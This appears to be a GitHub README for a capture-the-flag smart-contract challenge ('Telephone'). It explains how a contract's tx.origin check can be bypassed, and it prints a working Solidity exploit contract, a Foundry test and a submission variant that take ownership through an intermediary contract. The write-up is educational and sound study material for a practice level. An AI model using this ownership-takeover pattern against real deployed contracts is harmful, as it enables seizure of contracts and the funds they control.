You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
{{ message }}
This repository has been archived by the owner on Dec 11, 2024. It is now read-only.
in this challenge, we exploit the difference between solidity's global variables tx.origin and msg.sender to to phish with tx.origin and become owner.
tx.origin refers to the EOA that initiated the transaction (which can be many calls ago in the stack, and never be a contract), while msg.sender is the immediate caller (and can be a contract).
tx.origin is known for being generally vulnerable, and its use should be restricted to specific cases such as denying external contracts from calling the current contract (for instance, with a require(tx.origin == msg.sender)).
fun fact, this type of vulnerability resembles web2's cross-site request forgery (csrf).
it's wild how the world has changed in 10 years...
pragma solidity^0.8.0;
contractTelephone {
addresspublic owner;
constructor() {
owner =msg.sender;
}
function changeOwner(address_owner) public {
if (tx.origin!=msg.sender) {
owner = _owner;
}
}
}
discussion
Telephone() contract is pretty simple. first, it declares a state variable called owner (state variables have values permanently stored in a contract storage):
addresspublic owner;
then we have a constructor that defines that the EOA who deploys this contract is its owner:
constructor() {
owner =msg.sender;
}
finally, we have a function to change the owner, which checks if the caller is not the owner to give the ownership. this function is our target, and to exploit it, we need to make sure that tx.origin and msg.sender are not the same:
function changeOwner(address_owner) public {
if (tx.origin!=msg.sender) {
owner = _owner;
}
}
this can be done by creating an intermediary contract that makes a call to Telephone(). this is our exploit:
contractTelephoneExploit {
function run(Telephone level) public {
level.changeOwner(msg.sender);
}
}
solution
first, we test our solution at test/04/Telephone.t.sol:
contractTelephoneTestisTest {
Telephone public level =newTelephone();
address hacker = vm.addr(0x1337);
function testTelephoneHack() public {
vm.startPrank(hacker);
assertNotEq(level.owner(), hacker);
TelephoneExploit exploit =newTelephoneExploit();
exploit.run(level);
assertEq(level.owner(), hacker);
vm.stopPrank();
}
}
by running:
> forge test --match-contract TelephoneTest -vvvv
once it passes, we submit the solution with script/04/Telephone.s.sol:
note that we would have to slightly modify our exploit to create an instance of Telephone instead of receiving it as an argument (with level). something like this:
interfaceTelephone {
function changeOwner(address_owner) external;
}
contractTelephoneExploit {
Telephone level;
constructor(address_levelInstance) {
level =Telephone(_levelInstance);
}
function run() public {
level.changeOwner(msg.sender);
}
}